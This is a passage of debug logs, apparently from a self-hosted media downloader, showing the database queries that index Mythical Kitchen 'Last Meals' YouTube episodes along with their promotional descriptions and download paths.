https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Brittany Broski Eats Her Last Meal", "https://www.youtube.com/watch?v=wGSOMKSRjkc", "wGSOMKSRjkc", 1884, false, "/downloads/Last Meals/2023-03-23 Brittany Broski Eats Her Last Meal/Brittany Broski Eats Her Last Meal [wGSOMKSRjkc].mp4", false, 1, ~U[2023-03-23 10:00:39Z]] 20:49:32.257 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.257 [debug] QUERY OK source="media_items" db=0.0ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-11 10:01:18Z], 1] 20:49:32.258 [debug] QUERY OK source="media_items" db=0.4ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Caleb Hearon eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Caleb's Last Meal\n0:20 The Value Of The Writing Center\n2:02 Have You Thought About Your Last Meal Before?\n3:13 How Often Do You Think About Death?\n5:16 1st Course\n5:41 A Royal Surprise\n7:26 Caleb's Mom Will Stop The Wars\n10:30 Having Kids\n17:18 2nd Course\n19:02 Love For Kansas City\n23:01 Let's Talk About God\n29:25 3rd Course\n31:33 Saying Edgy Stuff\n33:33 Writing A Movie About Dad\n35:41 Depression\n36:55 4th Course\n37:02 Sorry, Mr. Beast\n40:55 I Don't Want More Followers\n42:53 What Gives You Hope?\n45:28 What Do You Think Happens When You Die?\n47:47 Lightning Round\n53:14 Caleb's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Caleb Hearon Eats His Last Meal", "2ffad5bb-1d55-4320-af59-a2f710aefb32", "https://www.youtube.com/watch?v=iL7lW-jOI_M", false, "iL7lW-jOI_M", 3268, false, 21, "/downloads/Last Meals/2025-09-11 Caleb Hearon Eats His Last Meal/Caleb Hearon Eats His Last Meal [iL7lW-jOI_M].mp4", false, false, 1, [], 1, ~U[2025-09-11 10:01:18Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Caleb Hearon eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Caleb's Last Meal\n0:20 The Value Of The Writing Center\n2:02 Have You Thought About Your Last Meal Before?\n3:13 How Often Do You Think About Death?\n5:16 1st Course\n5:41 A Royal Surprise\n7:26 Caleb's Mom Will Stop The Wars\n10:30 Having Kids\n17:18 2nd Course\n19:02 Love For Kansas City\n23:01 Let's Talk About God\n29:25 3rd Course\n31:33 Saying Edgy Stuff\n33:33 Writing A Movie About Dad\n35:41 Depression\n36:55 4th Course\n37:02 Sorry, Mr. Beast\n40:55 I Don't Want More Followers\n42:53 What Gives You Hope?\n45:28 What Do You Think Happens When You Die?\n47:47 Lightning Round\n53:14 Caleb's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Caleb Hearon Eats His Last Meal", "https://www.youtube.com/watch?v=iL7lW-jOI_M", "iL7lW-jOI_M", 3268, false, "/downloads/Last Meals/2025-09-11 Caleb Hearon Eats His Last Meal/Caleb Hearon Eats His Last Meal [iL7lW-jOI_M].mp4", false, 1, ~U[2025-09-11 10:01:18Z]] 20:49:32.258 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.258 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-20 10:00:58Z], 1] 20:49:32.259 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Barbie Ferreira eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Barbie's Last Meal\n1:22 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:03 1st Course\n5:55 How To Do Crying Scenes\n8:17 How To Do Therapy\n11:29 2nd Course\n13:58 Bonding With Mom Through Food\n16:22 Raised By Brazilian Lesbians\n17:40 Being A Plus Sized Model\n20:57 2010s Tumblr\n21:16 3rd Course\n22:41 Euphoria\n26:32 Being Petra Collins' Muse\n27:38 Leaning Into Discomfort\n 30:28 4th Course\n31:30 Barbie's Rebirth\n32:26:00 Grief As Celebration\n33:18:00 Grieving Angus Cloud\n35:33 Fear Of Others Dying\n36:50:00 Lightning Round\n40:35 Barbie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Euphoria's Barbie Ferreira Eats Her Last Meal", "1426ca9b-4930-4e86-b61e-00a3308aaa72", "https://www.youtube.com/watch?v=iHQkWBUAFko", false, "iHQkWBUAFko", 2494, false, 22, "/downloads/Last Meals/2025-03-20 Euphoria's Barbie Ferreira Eats Her Last Meal/Euphoria's Barbie Ferreira Eats Her Last Meal [iHQkWBUAFko].mp4", false, false, 1, [], 1, ~U[2025-03-20 10:00:58Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Barbie Ferreira eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Barbie's Last Meal\n1:22 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:03 1st Course\n5:55 How To Do Crying Scenes\n8:17 How To Do Therapy\n11:29 2nd Course\n13:58 Bonding With Mom Through Food\n16:22 Raised By Brazilian Lesbians\n17:40 Being A Plus Sized Model\n20:57 2010s Tumblr\n21:16 3rd Course\n22:41 Euphoria\n26:32 Being Petra Collins' Muse\n27:38 Leaning Into Discomfort\n 30:28 4th Course\n31:30 Barbie's Rebirth\n32:26:00 Grief As Celebration\n33:18:00 Grieving Angus Cloud\n35:33 Fear Of Others Dying\n36:50:00 Lightning Round\n40:35 Barbie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Euphoria's Barbie Ferreira Eats Her Last Meal", "https://www.youtube.com/watch?v=iHQkWBUAFko", "iHQkWBUAFko", 2494, false, "/downloads/Last Meals/2025-03-20 Euphoria's Barbie Ferreira Eats Her Last Meal/Euphoria's Barbie Ferreira Eats Her Last Meal [iHQkWBUAFko].mp4", false, 1, ~U[2025-03-20 10:00:58Z]] 20:49:32.259 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.259 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-11 10:00:26Z], 1] 20:49:32.260 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Karamo Brown's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Queer Eye’s Karamo Brown Eats His Last Meal", "66d2a194-9119-4061-837a-2632de9b8e2d", "https://www.youtube.com/watch?v=eCVe9YdDAsc", false, "eCVe9YdDAsc", 2169, false, 23, "/downloads/Last Meals/2023-05-11 Queer Eye’s Karamo Brown Eats His Last Meal/Queer Eye’s Karamo Brown Eats His Last Meal [eCVe9YdDAsc].mp4", false, false, 1, [], 1, ~U[2023-05-11 10:00:26Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Karamo Brown's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Queer Eye’s Karamo Brown Eats His Last Meal", "https://www.youtube.com/watch?v=eCVe9YdDAsc", "eCVe9YdDAsc", 2169, false, "/downloads/Last Meals/2023-05-11 Queer Eye’s Karamo Brown Eats His Last Meal/Queer Eye’s Karamo Brown Eats His Last Meal [eCVe9YdDAsc].mp4", false, 1, ~U[2023-05-11 10:00:26Z]] 20:49:32.260 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.260 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-25 10:00:20Z], 1] 20:49:32.261 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Jason Kelce's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - 